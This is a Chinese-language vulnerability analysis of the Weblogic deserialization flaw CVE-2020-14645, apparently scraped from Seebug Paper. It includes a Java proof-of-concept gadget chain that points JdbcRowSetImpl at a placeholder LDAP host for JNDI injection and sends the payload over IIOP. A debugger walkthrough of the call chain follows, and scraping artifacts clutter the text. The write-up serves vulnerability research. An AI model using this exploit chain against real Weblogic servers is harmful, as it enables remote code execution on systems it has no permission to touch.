Weblogic 遠程命令執行漏洞(CVE-2020-14645)分析

做者:hu4wufu @ 白帽匯安全研究院
覈對:r4v3zn @ 白帽匯安全研究院
本文爲做者投稿,Seebug Paper 期待你的分享,凡經採用即有禮品相送!
投稿郵箱:paper@seebug.org


html

前言

近期公佈的關於 Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是對 CVE-2020-2883的補丁進行繞過。以前的 CVE-2020-2883 本質上是經過 ReflectionExtractor 調用任意方法,從而實現調用 Runtime 對象的 exec 方法執行任意命令,補丁將 ReflectionExtractor 列入黑名單,那麼能夠使用 UniversalExtractor 從新構造一條利用鏈。UniversalExtractor 任意調用 getis方法致使可利用 JDNI 遠程動態類加載。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中獨有的,本文也是基於該版本進行分析。api

漏洞復現

漏洞利用 POC,如下的分析也是基於該 POC 進行分析數組

ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
//構造 UniversalExtract 調用 JdbcRowSetImpl 對象的任意方法
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};
Field[] fields = ChainedExtractor.class.getDeclaredFields();
Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");
field.setAccessible(true);
field.set(chainedExtractor,valueExtractor_list);
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa");
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
// 發送 IIOP 協議數據包
Context context = getContext("iiop://ip:port");
context.rebind("hello", queue);

成功彈出計算機安全

image-20200804101553091

漏洞分析

瞭解過 JDNI 注入的都知道漏洞在 lookup() 觸發,這裏在 JdbcRowSetImpl.class326lookup() 函數處設置斷點,如下爲漏洞利用的簡要調用鏈條:oracle

image-20200803114802258

咱們從頭分析,咱們都知道反序列化的根本是對象反序列化的時候,咱們從 IO 流裏面讀出數據的時候再以這種規則把對象還原回來。咱們在 in.readObject() 處打斷點,跟進查看 PriorityQueue.readObject() 方法函數

image-20200804103549551

這裏 782 執行 s.defaultReadObject() ,785 執行 s.readInt() 賦給對象輸入流大小以及數組長度,並在 790 行執行 for 循環,依次將 s.readObject() 方法賦值給 queue 對象數組,這裏 queue 對象數組長度爲 2。this

image-20200804104305927

接着往下跟,查看 heapify() 方法。PriorityQueue 其實是一個最小堆,這裏經過 siftDown() 方法進行排序實現堆化,spa

image-20200804105255018

跟進 siftDown() 方法,這裏首先判斷 comparator 是否爲空3d

image-20200804110155065

咱們能夠看看 comparator 是怎麼來的,因而可知是在 PriorityQueue 的構造函數中被賦值的,在初始化構造時,除了給 this.comparator 進行賦值以外,經過 initialCapacity 進行初始化長度。code

image-20200804194458747

comparator 不爲空,因此咱們執行的是 siftDownUsingComparator() 方法,因此跟進 siftDownUsingComparator() 方法。

image-20200804112050425

繼續跟進 ExtractorComparator.compare() 方法

image-20200804112730337

這裏調用的是 this.m_extractor.extract() 方法,來看看 this.m_extractor,這裏傳入了 extractor

image-20200804200522899

this.m_extractor 的值是與傳入的 extractor 有關的。這裏須要構造 this.m_extractorChainedExtractor,才能夠調用 ChainedExtractorextract() 方法實現 extract() 調用。

繼續跟進 ChainedExtractor.extract() 方法,能夠發現會遍歷 aExtractor 數組,並調用 extract() 方法。

image-20200804121015290

跟進 extract() 方法,此處因爲 m_cacheTarget 使用了 transient 修飾,沒法被反序列化,所以只能執行 else 部分,最後經過 this.extractComplex(oTarget) 進行最終觸發漏洞點

image-20200804152930452

this.extractComplex(oTarget) 中能夠看到最後經過 method.invoke() 進行反射執行,其中 oTargetaoParam 都是可控的。

image-20200805104643434

咱們跟進190的 findMethod() 方法,在 475 行須要使 fExactMatchtruefStaticfalse 纔可以讓傳入 clz 的能夠獲取任意方法。fStatic 是可控的,而 fExactMatch 默認爲true ,只要沒進入 for 循環便可保持 true 不變,使 cParams 爲空即 aclzParam 爲空的 Class 數組便可,此處 aclzParamgetClassArray() 方法獲取。

image-20200805105432824

getClasssArray 中經過獲取輸入參數的值對應的 Class 進行處理。

image-20200805110432248

因爲傳入的 aoParam 是一個空的 Object[],因此獲取對應的 Class 也爲空的 Class[],跟入 isPropertyExtractor() 中進行進行獲取能夠看到將 this._fMethod 獲取相反的值。

image-20200805111826338

因爲 m_fMethodtransient 修飾,不會被序列化,經過分析 m_fMethod 賦值過程,可發如今 init() 時會獲取sCName,而且經過斷定是否爲 () 結尾來進行賦值。

image-20200805114008976

image-20200805112641391

因爲參數爲 this 的緣由,致使getValueExtractorCanonicalName()方法返回的都是 null

image-20200805112805383

跟入 getValueExtractorCanonicalName()函數,最後是經過調用 computeValuExtractorCanonicalName 進行處理。

image-20200805113204395

跟入 computeValuExtractorCanonicalName() 以後,若是 aoParam不爲 null 且數組長度大於 0 就會返回 null,因爲 aoParam 必須爲 null ,所以咱們調用的方法必須是無參的。接着若是方法名 sName 不以 () 結尾,就會直接返回方法名。不然會判斷方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 數組中的前綴開頭,若是是的話就會截取掉並返回。

image-20200805145607115

回到 extractComplex() 方法中,在 if 條件裏會對上述返回的方法名作首字母大寫處理,而後拼接 BEAN_ACCESSOR_PREFIXES 數組中的前綴,判斷 clzTarget 類中是否含有拼接後的方法。這裏能夠看到咱們只能調用任意類中的 getis 開頭的無參方法。也就解釋了爲何 poc 會想到利用 JNDI 來進行遠程動態類加載。

image-20200805144604232

跟進 method.invoke() 方法,會直接跳轉至 JdbcRowSetImpl.getDatabaseMetaData()

image-20200805144744730

image-20200805150250708

因爲JdbcRowSetImpl.getDatabaseMetaData(),調用了 this.connect(),能夠看到在 326 行執行了 lookup 操做,觸發了漏洞。

image-20200804154222491

至此,跟進 getDataSourceName(),可看到調用了可控制的 dataSource

總結

此漏洞主要以繞過黑名單的形式,利用 UniversalExtractor 任意調用getis方法致使 JNDI 注入,由此拓展 CVE-2020-14625。

參考


Paper 本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1287/

相關文章
相關標籤/搜索